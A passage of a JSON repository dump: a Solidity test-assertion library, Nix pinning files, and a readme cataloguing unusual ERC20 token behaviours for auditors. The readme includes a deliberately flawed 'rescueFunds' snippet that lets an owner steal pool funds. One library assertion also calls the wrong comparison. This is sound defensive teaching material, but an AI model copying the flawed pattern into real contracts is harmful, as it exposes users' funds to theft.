log(\"\\n\");\n        assertLeDecimal(uint(2.0e18), 1.1e18, 18, err);\n\n        emit log(\"\\n## assertEq(string,string)\\n\");\n        string memory s1 = \"string 1\";\n        string memory s2 = \"string 2\";\n        assertEq(s1, s2);\n        emit log(\"\\n\");\n        assertEq(s1, s2, err);\n\n        emit log(\"\\n## assertEq0(bytes,bytes)\\n\");\n        assertEq0(hex\"abcdef01\", hex\"abcdef02\");\n        log(\"\\n\");\n        assertEq0(hex\"abcdef01\", hex\"abcdef02\", err);\n    }\n}\n\ncontract DemoTestWithSetUp {\n    function setUp() public {\n    }\n    function test_pass() public pure {\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/lib/ds-test/src/test.sol",
    "content": "// SPDX-License-Identifier: GPL-3.0-or-later\n\n// This program is free software: you can redistribute it and/or modify\n// it under the terms of the GNU General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n\n// This program is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n// GNU General Public License for more details.\n\n// You should have received a copy of the GNU General Public License\n// along with this program.  If not, see <http://www.gnu.org/licenses/>.\n\npragma solidity >=0.4.23;\n\ncontract DSTest {\n    event log                    (string);\n    event logs                   (bytes);\n\n    event log_address            (address);\n    event log_bytes32            (bytes32);\n    event log_int                (int);\n    event log_uint               (uint);\n    event log_bytes              (bytes);\n    event log_string             (string);\n\n    event log_named_address      (string key, address val);\n    event log_named_bytes32      (string key, bytes32 val);\n    event log_named_decimal_int  (string key, int val, uint decimals);\n    event log_named_decimal_uint (string key, uint val, uint decimals);\n    event log_named_int          (string key, int val);\n    event log_named_uint         (string key, uint val);\n    event log_named_bytes        (string key, bytes val);\n    event log_named_string       (string key, string val);\n\n    bool public IS_TEST = true;\n    bool public failed;\n\n    address constant HEVM_ADDRESS =\n        address(bytes20(uint160(uint256(keccak256('hevm cheat code')))));\n\n    modifier mayRevert() { _; }\n    modifier testopts(string memory) { _; }\n\n    function fail() internal {\n        failed = true;\n    }\n\n    modifier logs_gas() {\n        uint startGas = gasleft();\n        _;\n        uint endGas = gasleft();\n        emit log_named_uint(\"gas\", startGas - endGas);\n    }\n\n    function assertTrue(bool condition) internal {\n        if (!condition) {\n            emit log(\"Error: Assertion Failed\");\n            fail();\n        }\n    }\n\n    function assertTrue(bool condition, string memory err) internal {\n        if (!condition) {\n            emit log_named_string(\"Error\", err);\n            assertTrue(condition);\n        }\n    }\n\n    function assertEq(address a, address b) internal {\n        if (a != b) {\n            emit log(\"Error: a == b not satisfied [address]\");\n            emit log_named_address(\"  Expected\", b);\n            emit log_named_address(\"    Actual\", a);\n            fail();\n        }\n    }\n    function assertEq(address a, address b, string memory err) internal {\n        if (a != b) {\n            emit log_named_string (\"Error\", err);\n            assertEq(a, b);\n        }\n    }\n\n    function assertEq(bytes32 a, bytes32 b) internal {\n        if (a != b) {\n            emit log(\"Error: a == b not satisfied [bytes32]\");\n            emit log_named_bytes32(\"  Expected\", b);\n            emit log_named_bytes32(\"    Actual\", a);\n            fail();\n        }\n    }\n    function assertEq(bytes32 a, bytes32 b, string memory err) internal {\n        if (a != b) {\n            emit log_named_string (\"Error\", err);\n            assertEq(a, b);\n        }\n    }\n    function assertEq32(bytes32 a, bytes32 b) internal {\n        assertEq(a, b);\n    }\n    function assertEq32(bytes32 a, bytes32 b, string memory err) internal {\n        assertEq(a, b, err);\n    }\n\n    function assertEq(int a, int b) internal {\n        if (a != b) {\n            emit log(\"Error: a == b not satisfied [int]\");\n            emit log_named_int(\"  Expected\", b);\n            emit log_named_int(\"    Actual\", a);\n            fail();\n        }\n    }\n    function assertEq(int a, int b, string memory err) internal {\n        if (a != b) {\n            emit log_named_string(\"Error\", err);\n            assertEq(a, b);\n        }\n    }\n    function assertEq(uint a, uint b) internal {\n        if (a != b) {\n            emit log(\"Error: a == b not satisfied [uint]\");\n            emit log_named_uint(\"  Expected\", b);\n            emit log_named_uint(\"    Actual\", a);\n            fail();\n        }\n    }\n    function assertEq(uint a, uint b, string memory err) internal {\n        if (a != b) {\n            emit log_named_string(\"Error\", err);\n            assertEq(a, b);\n        }\n    }\n    function assertEqDecimal(int a, int b, uint decimals) internal {\n        if (a != b) {\n            emit log(\"Error: a == b not satisfied [decimal int]\");\n            emit log_named_decimal_int(\"  Expected\", b, decimals);\n            emit log_named_decimal_int(\"    Actual\", a, decimals);\n            fail();\n        }\n    }\n    function assertEqDecimal(int a, int b, uint decimals, string memory err) internal {\n        if (a != b) {\n            emit log_named_string(\"Error\", err);\n            assertEqDecimal(a, b, decimals);\n        }\n    }\n    function assertEqDecimal(uint a, uint b, uint decimals) internal {\n        if (a != b) {\n            emit log(\"Error: a == b not satisfied [decimal uint]\");\n            emit log_named_decimal_uint(\"  Expected\", b, decimals);\n            emit log_named_decimal_uint(\"    Actual\", a, decimals);\n            fail();\n        }\n    }\n    function assertEqDecimal(uint a, uint b, uint decimals, string memory err) internal {\n        if (a != b) {\n            emit log_named_string(\"Error\", err);\n            assertEqDecimal(a, b, decimals);\n        }\n    }\n\n    function assertGt(uint a, uint b) internal {\n        if (a <= b) {\n            emit log(\"Error: a > b not satisfied [uint]\");\n            emit log_named_uint(\"  Value a\", a);\n            emit log_named_uint(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertGt(uint a, uint b, string memory err) internal {\n        if (a <= b) {\n            emit log_named_string(\"Error\", err);\n            assertGt(a, b);\n        }\n    }\n    function assertGt(int a, int b) internal {\n        if (a <= b) {\n            emit log(\"Error: a > b not satisfied [int]\");\n            emit log_named_int(\"  Value a\", a);\n            emit log_named_int(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertGt(int a, int b, string memory err) internal {\n        if (a <= b) {\n            emit log_named_string(\"Error\", err);\n            assertGt(a, b);\n        }\n    }\n    function assertGtDecimal(int a, int b, uint decimals) internal {\n        if (a <= b) {\n            emit log(\"Error: a > b not satisfied [decimal int]\");\n            emit log_named_decimal_int(\"  Value a\", a, decimals);\n            emit log_named_decimal_int(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertGtDecimal(int a, int b, uint decimals, string memory err) internal {\n        if (a <= b) {\n            emit log_named_string(\"Error\", err);\n            assertGtDecimal(a, b, decimals);\n        }\n    }\n    function assertGtDecimal(uint a, uint b, uint decimals) internal {\n        if (a <= b) {\n            emit log(\"Error: a > b not satisfied [decimal uint]\");\n            emit log_named_decimal_uint(\"  Value a\", a, decimals);\n            emit log_named_decimal_uint(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertGtDecimal(uint a, uint b, uint decimals, string memory err) internal {\n        if (a <= b) {\n            emit log_named_string(\"Error\", err);\n            assertGtDecimal(a, b, decimals);\n        }\n    }\n\n    function assertGe(uint a, uint b) internal {\n        if (a < b) {\n            emit log(\"Error: a >= b not satisfied [uint]\");\n            emit log_named_uint(\"  Value a\", a);\n            emit log_named_uint(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertGe(uint a, uint b, string memory err) internal {\n        if (a < b) {\n            emit log_named_string(\"Error\", err);\n            assertGe(a, b);\n        }\n    }\n    function assertGe(int a, int b) internal {\n        if (a < b) {\n            emit log(\"Error: a >= b not satisfied [int]\");\n            emit log_named_int(\"  Value a\", a);\n            emit log_named_int(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertGe(int a, int b, string memory err) internal {\n        if (a < b) {\n            emit log_named_string(\"Error\", err);\n            assertGe(a, b);\n        }\n    }\n    function assertGeDecimal(int a, int b, uint decimals) internal {\n        if (a < b) {\n            emit log(\"Error: a >= b not satisfied [decimal int]\");\n            emit log_named_decimal_int(\"  Value a\", a, decimals);\n            emit log_named_decimal_int(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertGeDecimal(int a, int b, uint decimals, string memory err) internal {\n        if (a < b) {\n            emit log_named_string(\"Error\", err);\n            assertGeDecimal(a, b, decimals);\n        }\n    }\n    function assertGeDecimal(uint a, uint b, uint decimals) internal {\n        if (a < b) {\n            emit log(\"Error: a >= b not satisfied [decimal uint]\");\n            emit log_named_decimal_uint(\"  Value a\", a, decimals);\n            emit log_named_decimal_uint(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertGeDecimal(uint a, uint b, uint decimals, string memory err) internal {\n        if (a < b) {\n            emit log_named_string(\"Error\", err);\n            assertGeDecimal(a, b, decimals);\n        }\n    }\n\n    function assertLt(uint a, uint b) internal {\n        if (a >= b) {\n            emit log(\"Error: a < b not satisfied [uint]\");\n            emit log_named_uint(\"  Value a\", a);\n            emit log_named_uint(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertLt(uint a, uint b, string memory err) internal {\n        if (a >= b) {\n            emit log_named_string(\"Error\", err);\n            assertLt(a, b);\n        }\n    }\n    function assertLt(int a, int b) internal {\n        if (a >= b) {\n            emit log(\"Error: a < b not satisfied [int]\");\n            emit log_named_int(\"  Value a\", a);\n            emit log_named_int(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertLt(int a, int b, string memory err) internal {\n        if (a >= b) {\n            emit log_named_string(\"Error\", err);\n            assertLt(a, b);\n        }\n    }\n    function assertLtDecimal(int a, int b, uint decimals) internal {\n        if (a >= b) {\n            emit log(\"Error: a < b not satisfied [decimal int]\");\n            emit log_named_decimal_int(\"  Value a\", a, decimals);\n            emit log_named_decimal_int(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertLtDecimal(int a, int b, uint decimals, string memory err) internal {\n        if (a >= b) {\n            emit log_named_string(\"Error\", err);\n            assertLtDecimal(a, b, decimals);\n        }\n    }\n    function assertLtDecimal(uint a, uint b, uint decimals) internal {\n        if (a >= b) {\n            emit log(\"Error: a < b not satisfied [decimal uint]\");\n            emit log_named_decimal_uint(\"  Value a\", a, decimals);\n            emit log_named_decimal_uint(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertLtDecimal(uint a, uint b, uint decimals, string memory err) internal {\n        if (a >= b) {\n            emit log_named_string(\"Error\", err);\n            assertLtDecimal(a, b, decimals);\n        }\n    }\n\n    function assertLe(uint a, uint b) internal {\n        if (a > b) {\n            emit log(\"Error: a <= b not satisfied [uint]\");\n            emit log_named_uint(\"  Value a\", a);\n            emit log_named_uint(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertLe(uint a, uint b, string memory err) internal {\n        if (a > b) {\n            emit log_named_string(\"Error\", err);\n            assertLe(a, b);\n        }\n    }\n    function assertLe(int a, int b) internal {\n        if (a > b) {\n            emit log(\"Error: a <= b not satisfied [int]\");\n            emit log_named_int(\"  Value a\", a);\n            emit log_named_int(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertLe(int a, int b, string memory err) internal {\n        if (a > b) {\n            emit log_named_string(\"Error\", err);\n            assertLe(a, b);\n        }\n    }\n    function assertLeDecimal(int a, int b, uint decimals) internal {\n        if (a > b) {\n            emit log(\"Error: a <= b not satisfied [decimal int]\");\n            emit log_named_decimal_int(\"  Value a\", a, decimals);\n            emit log_named_decimal_int(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertLeDecimal(int a, int b, uint decimals, string memory err) internal {\n        if (a > b) {\n            emit log_named_string(\"Error\", err);\n            assertLeDecimal(a, b, decimals);\n        }\n    }\n    function assertLeDecimal(uint a, uint b, uint decimals) internal {\n        if (a > b) {\n            emit log(\"Error: a <= b not satisfied [decimal uint]\");\n            emit log_named_decimal_uint(\"  Value a\", a, decimals);\n            emit log_named_decimal_uint(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertLeDecimal(uint a, uint b, uint decimals, string memory err) internal {\n        if (a > b) {\n            emit log_named_string(\"Error\", err);\n            assertGeDecimal(a, b, decimals);\n        }\n    }\n\n    function assertEq(string memory a, string memory b) internal {\n        if (keccak256(abi.encodePacked(a)) != keccak256(abi.encodePacked(b))) {\n            emit log(\"Error: a == b not satisfied [string]\");\n            emit log_named_string(\"  Value a\", a);\n            emit log_named_string(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertEq(string memory a, string memory b, string memory err) internal {\n        if (keccak256(abi.encodePacked(a)) != keccak256(abi.encodePacked(b))) {\n            emit log_named_string(\"Error\", err);\n            assertEq(a, b);\n        }\n    }\n\n    function checkEq0(bytes memory a, bytes memory b) internal pure returns (bool ok) {\n        ok = true;\n        if (a.length == b.length) {\n            for (uint i = 0; i < a.length; i++) {\n                if (a[i] != b[i]) {\n                    ok = false;\n                }\n            }\n        } else {\n            ok = false;\n        }\n    }\n    function assertEq0(bytes memory a, bytes memory b) internal {\n        if (!checkEq0(a, b)) {\n            emit log(\"Error: a == b not satisfied [bytes]\");\n            emit log_named_bytes(\"  Expected\", a);\n            emit log_named_bytes(\"    Actual\", b);\n            fail();\n        }\n    }\n    function assertEq0(bytes memory a, bytes memory b, string memory err) internal {\n        if (!checkEq0(a, b)) {\n            emit log_named_string(\"Error\", err);\n            assertEq0(a, b);\n        }\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/nix/sources.json",
    "content": "{\n    \"dapptools\": {\n        \"branch\": \"master\",\n        \"description\": \"Dapp, Seth, Hevm, and more\",\n        \"homepage\": \"https://dapp.tools\",\n        \"owner\": \"dapphub\",\n        \"repo\": \"dapptools\",\n        \"rev\": \"d3aa62e08f2c662a4f8554ec68aa74dcdeb68ab3\",\n        \"sha256\": \"1dxzygjqkvx5327vv4wf8wnjr31m6s7jg7841760qplzw965xna0\",\n        \"type\": \"tarball\",\n        \"url\": \"https://github.com/dapphub/dapptools/archive/d3aa62e08f2c662a4f8554ec68aa74dcdeb68ab3.tar.gz\",\n        \"url_template\": \"https://github.com/<owner>/<repo>/archive/<rev>.tar.gz\"\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/nix/sources.nix",
    "content": "# This file has been generated by Niv.\n\nlet\n\n  #\n  # The fetchers. fetch_<type> fetches specs of type <type>.\n  #\n\n  fetch_file = pkgs: name: spec:\n    let\n      name' = sanitizeName name + \"-src\";\n    in\n      if spec.builtin or true then\n        builtins_fetchurl { inherit (spec) url sha256; name = name'; }\n      else\n        pkgs.fetchurl { inherit (spec) url sha256; name = name'; };\n\n  fetch_tarball = pkgs: name: spec:\n    let\n      name' = sanitizeName name + \"-src\";\n    in\n      if spec.builtin or true then\n        builtins_fetchTarball { name = name'; inherit (spec) url sha256; }\n      else\n        pkgs.fetchzip { name = name'; inherit (spec) url sha256; };\n\n  fetch_git = name: spec:\n    let\n      ref =\n        if spec ? ref then spec.ref else\n          if spec ? branch then \"refs/heads/${spec.branch}\" else\n            if spec ? tag then \"refs/tags/${spec.tag}\" else\n              abort \"In git source '${name}': Please specify `ref`, `tag` or `branch`!\";\n    in\n      builtins.fetchGit { url = spec.repo; inherit (spec) rev; inherit ref; };\n\n  fetch_local = spec: spec.path;\n\n  fetch_builtin-tarball = name: throw\n    ''[${name}] The niv type \"builtin-tarball\" is deprecated. You should instead use `builtin = true`.\n        $ niv modify ${name} -a type=tarball -a builtin=true'';\n\n  fetch_builtin-url = name: throw\n    ''[${name}] The niv type \"builtin-url\" will soon be deprecated. You should instead use `builtin = true`.\n        $ niv modify ${name} -a type=file -a builtin=true'';\n\n  #\n  # Various helpers\n  #\n\n  # https://github.com/NixOS/nixpkgs/pull/83241/files#diff-c6f540a4f3bfa4b0e8b6bafd4cd54e8bR695\n  sanitizeName = name:\n    (\n      concatMapStrings (s: if builtins.isList s then \"-\" else s)\n        (\n          builtins.split \"[^[:alnum:]+._?=-]+\"\n            ((x: builtins.elemAt (builtins.match \"\\\\.*(.*)\" x) 0) name)\n        )\n    );\n\n  # The set of packages used when specs are fetched using non-builtins.\n  mkPkgs = sources: system:\n    let\n      sourcesNixpkgs =\n        import (builtins_fetchTarball { inherit (sources.nixpkgs) url sha256; }) { inherit system; };\n      hasNixpkgsPath = builtins.any (x: x.prefix == \"nixpkgs\") builtins.nixPath;\n      hasThisAsNixpkgsPath = <nixpkgs> == ./.;\n    in\n      if builtins.hasAttr \"nixpkgs\" sources\n      then sourcesNixpkgs\n      else if hasNixpkgsPath && ! hasThisAsNixpkgsPath then\n        import <nixpkgs> {}\n      else\n        abort\n          ''\n            Please specify either <nixpkgs> (through -I or NIX_PATH=nixpkgs=...) or\n            add a package called \"nixpkgs\" to your sources.json.\n          '';\n\n  # The actual fetching function.\n  fetch = pkgs: name: spec:\n\n    if ! builtins.hasAttr \"type\" spec then\n      abort \"ERROR: niv spec ${name} does not have a 'type' attribute\"\n    else if spec.type == \"file\" then fetch_file pkgs name spec\n    else if spec.type == \"tarball\" then fetch_tarball pkgs name spec\n    else if spec.type == \"git\" then fetch_git name spec\n    else if spec.type == \"local\" then fetch_local spec\n    else if spec.type == \"builtin-tarball\" then fetch_builtin-tarball name\n    else if spec.type == \"builtin-url\" then fetch_builtin-url name\n    else\n      abort \"ERROR: niv spec ${name} has unknown type ${builtins.toJSON spec.type}\";\n\n  # If the environment variable NIV_OVERRIDE_${name} is set, then use\n  # the path directly as opposed to the fetched source.\n  replace = name: drv:\n    let\n      saneName = stringAsChars (c: if isNull (builtins.match \"[a-zA-Z0-9]\" c) then \"_\" else c) name;\n      ersatz = builtins.getEnv \"NIV_OVERRIDE_${saneName}\";\n    in\n      if ersatz == \"\" then drv else ersatz;\n\n  # Ports of functions for older nix versions\n\n  # a Nix version of mapAttrs if the built-in doesn't exist\n  mapAttrs = builtins.mapAttrs or (\n    f: set: with builtins;\n    listToAttrs (map (attr: { name = attr; value = f attr set.${attr}; }) (attrNames set))\n  );\n\n  # https://github.com/NixOS/nixpkgs/blob/0258808f5744ca980b9a1f24fe0b1e6f0fecee9c/lib/lists.nix#L295\n  range = first: last: if first > last then [] else builtins.genList (n: first + n) (last - first + 1);\n\n  # https://github.com/NixOS/nixpkgs/blob/0258808f5744ca980b9a1f24fe0b1e6f0fecee9c/lib/strings.nix#L257\n  stringToCharacters = s: map (p: builtins.substring p 1 s) (range 0 (builtins.stringLength s - 1));\n\n  # https://github.com/NixOS/nixpkgs/blob/0258808f5744ca980b9a1f24fe0b1e6f0fecee9c/lib/strings.nix#L269\n  stringAsChars = f: s: concatStrings (map f (stringToCharacters s));\n  concatMapStrings = f: list: concatStrings (map f list);\n  concatStrings = builtins.concatStringsSep \"\";\n\n  # https://github.com/NixOS/nixpkgs/blob/8a9f58a375c401b96da862d969f66429def1d118/lib/attrsets.nix#L331\n  optionalAttrs = cond: as: if cond then as else {};\n\n  # fetchTarball version that is compatible between all the versions of Nix\n  builtins_fetchTarball = { url, name ? null, sha256 }@attrs:\n    let\n      inherit (builtins) lessThan nixVersion fetchTarball;\n    in\n      if lessThan nixVersion \"1.12\" then\n        fetchTarball ({ inherit url; } // (optionalAttrs (!isNull name) { inherit name; }))\n      else\n        fetchTarball attrs;\n\n  # fetchurl version that is compatible between all the versions of Nix\n  builtins_fetchurl = { url, name ? null, sha256 }@attrs:\n    let\n      inherit (builtins) lessThan nixVersion fetchurl;\n    in\n      if lessThan nixVersion \"1.12\" then\n        fetchurl ({ inherit url; } // (optionalAttrs (!isNull name) { inherit name; }))\n      else\n        fetchurl attrs;\n\n  # Create the final \"sources\" from the config\n  mkSources = config:\n    mapAttrs (\n      name: spec:\n        if builtins.hasAttr \"outPath\" spec\n        then abort\n          \"The values in sources.json should not have an 'outPath' attribute\"\n        else\n          spec // { outPath = replace name (fetch config.pkgs name spec); }\n    ) config.sources;\n\n  # The \"config\" used by the fetchers\n  mkConfig =\n    { sourcesFile ? if builtins.pathExists ./sources.json then ./sources.json else null\n    , sources ? if isNull sourcesFile then {} else builtins.fromJSON (builtins.readFile sourcesFile)\n    , system ? builtins.currentSystem\n    , pkgs ? mkPkgs sources system\n    }: rec {\n      # The sources, i.e. the attribute set of spec name to spec\n      inherit sources;\n\n      # The \"pkgs\" (evaluated nixpkgs) to use for e.g. non-builtin fetchers\n      inherit pkgs;\n    };\n\nin\nmkSources (mkConfig {}) // { __functor = _: settings: mkSources (mkConfig settings); }\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/readme.md",
    "content": "# Weird ERC20 Tokens\n\nThis repository contains minimal example implementations in Solidity of ERC20 tokens with behaviour\nthat may be surprising or unexpected. All the tokens in this repo are based on real tokens, many of\nwhich have been used to exploit smart contract systems in the past. It is hoped that these example\nimplementations will be of use to developers and auditors.\n\nThe `ERC20` \"specification\" is so loosely defined that it amounts to little more than an interface\ndeclaration, and even the few semantic requirements that are imposed are routinely violated by token\ndevelopers in the wild.\n\nThis makes building smart contracts that interface directly with ERC20 tokens challenging to say the\nleast, and smart contract developers should in general default to the following patterns when\ninteraction with external code is required:\n\n1. A contract level allowlist of known good tokens.\n2. Direct interaction with tokens should be performed in dedicated wrapper contracts at the edge of\n   the system. This allows the core to assume a consistent and known good semantics for the\n   behaviour of external assets.\n\nIn some cases the above patterns are not practical (for example in the case of a permissionless AMM,\nkeeping an on chain allowlist would require the introduction of centralized control or a complex\ngovernance system), and in these cases developers must take great care to make these interactions in\na highly defensive manner. It should be noted that even if an onchain allowlist is not feasible, an\noffchain allowlist in the official UI can also protect unsophisticated users from tokens that\nviolate the contracts expectations, while still preserving contract level permissionlessness.\n\nFinally if you are building a token, you are strongly advised to treat the following as a list of\nbehaviours to avoid.\n\n*Additional Resources*\n\n- Trail of Bits [token integration checklist](https://github.com/crytic/building-secure-contracts/blob/master/development-guidelines/token_integration.md).\n- Consensys Diligence [token integration checklist](https://consensys.net/diligence/blog/2020/11/token-interaction-checklist/)\n\n# Tokens\n\n## Reentrant Calls\n\nSome tokens allow reentract calls on transfer (e.g. `ERC777` tokens).\n\nThis has been exploited in the wild on multiple occasions (e.g. [imBTC uniswap pool\ndrained](https://defirate.com/imbtc-uniswap-hack/), [lendf.me\ndrained](https://defirate.com/dforce-hack/))\n\n*example*: [Reentrant.sol](./src/Reentrant.sol)\n\n## Missing Return Values\n\nSome tokens do not return a bool (e.g. `USDT`, `BNB`, `OMG`) on ERC20 methods. see\n[here](https://gist.githubusercontent.com/lukas-berlin/f587086f139df93d22987049f3d8ebd2/raw/1f937dc8eb1d6018da59881cbc633e01c0286fb0/Tokens%20missing%20return%20values%20in%20transfer) for a comprehensive (if somewhat outdated) list.\n\nSome tokens (e.g. `BNB`) may return a `bool` for some methods, but fail to do so for others.  This\nresulted in stuck `BNB` tokens in Uniswap v1\n([details](https://mobile.twitter.com/UniswapProtocol/status/1072286773554876416)).\n\nSome particulary pathological tokens (e.g. Tether Gold) declare a bool return, but then return\n`false` even when the transfer was successful\n([code](https://etherscan.io/address/0x4922a015c4407f87432b179bb209e125432e4a2a#code)).\n\nA good safe transfer abstraction\n([example](https://github.com/Uniswap/uniswap-v2-core/blob/4dd59067c76dea4a0e8e4bfdda41877a6b16dedc/contracts/UniswapV2Pair.sol#L44))\ncan help somewhat, but note that the existance of Tether Gold makes it impossible to correctly handle\nreturn values for all tokens.\n\nTwo example tokens are provided:\n\n- `MissingReturns`: does not return a bool for any erc20 operation\n- `ReturnsFalse`: declares a bool return, but then returns false for every erc20 operation\n\n*example*: [MissingReturns.sol](./src/MissingReturns.sol)  \n*example*: [ReturnsFalse.sol](./src/ReturnsFalse.sol)\n\n## Fee on Transfer\n\nSome tokens take a transfer fee (e.g. `STA`, `PAXG`), some do not currently charge a fee but may do\nso in the future (e.g. `USDT`, `USDC`).\n\nThe `STA` transfer fee was used to drain $500k from several balancer pools ([more\ndetails](https://medium.com/@1inch.exchange/balancer-hack-2020-a8f7131c980e)).\n\n*example*: [TransferFee.sol](./src/TransferFee.sol)\n\n## Balance Modifications Outside of Transfers (rebasing / airdrops)\n\nSome tokens may make arbitrary balance modifications outside of transfers (e.g. Ampleforth style\nrebasing tokens, Compound style airdrops of governance tokens, mintable / burnable tokens).\n\nSome smart contract systems cache token balances (e.g. Balancer, Uniswap-V2), and arbitrary\nmodifications to underlying balances can mean that the contract is operating with outdated\ninformation.\n\nIn the case of Ampleforth, some Balancer and Uniswap pools are special cased to ensure that the\npool's cached balances are atomically updated as part of the rebase prodecure\n([details](https://www.ampltalk.org/app/forum/technology-development-17/topic/supported-dex-pools-61/)).\n\n*example*: TODO: implement a rebasing token\n\n## Upgradable Tokens\n\nSome tokens (e.g. `USDC`, `USDT`) are upgradable, allowing the token owners to make arbitrary\nmodifications to the logic of the token at any point in time.\n\nA change to the token semantics can break any smart contract that depends on the past behaviour.\n\nDevelopers integrating with upgradable tokens should consider introducing logic that will freeze\ninteractions with the token in question if an upgrade is detected. (e.g. the [`TUSD`\nadapter](https://github.com/makerdao/dss-deploy/blob/7394f6555daf5747686a1b29b2f46c6b2c64b061/src/join.sol#L321)\nused by MakerDAO).\n\n*example*: [Upgradable.sol](./src/Upgradable.sol)\n\n## Flash Mintable Tokens\n\nSome tokens (e.g. `DAI`) allow for so called \"flash minting\", which allows tokens to be minted for the duration\nof one transaction only, provided they are returned to the token contract by the end of the\ntransaction.\n\nThis is similar to a flash loan, but does not require the tokens that are to be lent to exist before\nthe start of the transaction. A token that can be flash minted could potentially have a total supply\nof max `uint256`.\n\nDocumentation for the MakerDAO flash mint module can be found\n[here](https://docs.makerdao.com/smart-contract-modules/flash-mint-module).\n\n## Tokens with Blocklists\n\nSome tokens (e.g. `USDC`, `USDT`) have a contract level admin controlled address blocklist. If an\naddress is blocked, then transfers to and from that address are forbidden.\n\nMalicious or compromised token owners can trap funds in a contract by adding the contract address to\nthe blocklist. This could potentially be the result of regulatory action against the contract\nitself, against a single user of the contract (e.g. a Uniswap LP), or could also be a part of an\nextortion attempt against users of the blocked contract.\n\n*example*: [BlockList.sol](./src/BlockList.sol)\n\n## Pausable Tokens\n\nSome tokens can be paused by an admin (e.g. `BNB`, `ZIL`).\n\nSimilary to the blocklist issue above, an admin controlled pause feature opens users\nof the token to risk from a malicious or compromised token owner.\n\n*example*: [Pausable.sol](./src/Pausable.sol)\n\n## Approval Race Protections\n\nSome tokens (e.g. `USDT`, `KNC`) do not allow approving an amount `M > 0` when an existing amount\n`N > 0` is already approved. This is to protect from an ERC20 attack vector described\n[here](https://docs.google.com/document/d/1YLPtQxZu1UAvO9cZ1O2RPXBbT0mooh4DYKjA_jp-RLM/edit#heading=h.b32yfk54vyg9).\n\n[This PR](https://github.com/Uniswap/uniswap-v2-periphery/pull/26#issuecomment-647543138) shows some\nin the wild problems caused by this issue.\n\n*example*: [Approval.sol](./src/Approval.sol)\n\n## Revert on Approval To Zero Address\n\nSome tokens (e.g. OpenZeppelin) will revert if trying to approve the zero address to spend tokens\n(i.e. a call to `approve(address(0), amt)`).\n\nIntegrators may need to add special cases to handle this logic if working with such a token.\n\n*example*: [ApprovalToZero.sol](./src/ApprovalToZero.sol)\n\n## Revert on Zero Value Transfers\n\nSome tokens (e.g. `LEND`) revert when transfering a zero value amount.\n\n*example*: [RevertZero.sol](./src/RevertZero.sol)\n\n## Multiple Token Addresses\n\nSome proxied tokens have multiple addresses. For example `TUSD` has two addresses:\n`0x8dd5fbCe2F6a956C3022bA3663759011Dd51e73E` and `0x0000000000085d4780B73119b644AE5ecd22b376`\n(calling transfer on either affects your balance on both).\n\nAs an example consider the following snippet. `rescueFunds` is intended to allow the contract owner\nto return non pool tokens that were accidentaly sent to the contract. However, it assumes a single\naddress per token and so would allow the owner to steal all funds in the pool.\n\n```solidity\nmapping isPoolToken(address => bool);\nconstructor(address tokenA, address tokenB) public {\n  isPoolToken[tokenA] = true;\n  isPoolToken[tokenB] = true;\n}\nfunction rescueFunds(address token, uint amount) external nonReentrant onlyOwner {\n    require(!isPoolToken[token], \"access denied\");\n    token.transfer(msg.sender, amount);\n}\n```\n\n*example*: [Proxied.sol](./src/Proxied.sol)\n\n## Low Decimals\n\nSome tokens have low decimals (e.g. `USDC` has 6). Even more extreme, some tokens like [Gemini USD](https://etherscan.io/token/0x056Fd409E1d7A124BD7017459dFEa2F387b6d5Cd?a=0x5f65f7b609678448494De4C87521CdF6cEf1e932) only have 2 decimals.\n\nThis may result in larger than expected precision loss.\n\n*example*: [LowDecimals.sol](./src/LowDecimals.sol)\n\n## High Decimals\n\nSome tokens have more than 18 decimals (e.g. `YAM-V2` has 24).\n\nThis may trigger unexpected reverts due to overflow, posing a liveness risk to the contract.\n\n*example*: [HighDecimals.sol](./src/HighDecimals.sol)\n\n## `transferFrom` with `src == msg.sender`\n\nSome token implementations (e.g. `DSToken`) will not attempt to decrease the caller's allowance if\nthe sender is the same as the caller. This gives `transferFrom` the same semantics as `transfer` in\nthis case. Other implementations (e.g. OpenZeppelin, Uniswap-v2) will attempt to decrease the\ncaller's allowance from the sender in `transferFrom` even if the caller and the sender are the same\naddress, giving `transfer(dst, amt)` and `transferFrom(address(this), dst, amt)` a different\nsemantics in this case.\n\n*examples*:\n\nExamples of both semantics are provided:\n\n- [ERC20.sol](./src/ERC20.sol): does not attempt to decrease allowance\n- [TransferFromSelf.sol](./src/TransferFromSelf.sol): always attempts to decrease the allowance\n\n## Non `string` metadata\n\nSome tokens (e.g.\n[`MKR`](https://etherscan.io/address/0x9f8f72aa9304c8b593d555f12ef6589cc3a579a2#code)) have metadata\nfields (`name` / `symbol`) encoded as `bytes32` instead of the `string` prescribed by the ERC20\nspecification.\n\nThis may cause issues when trying to consume metadata from these tokens.\n\n*example*: [Bytes32Metadata.sol](./src/Bytes32Metadata.sol)\n\n## Revert on Transfer to the Zero Address\n\nSome tokens (e.g. openzeppelin) revert when attempting to transfer to `address(0)`.\n\nThis may break systems that expect to be able to burn 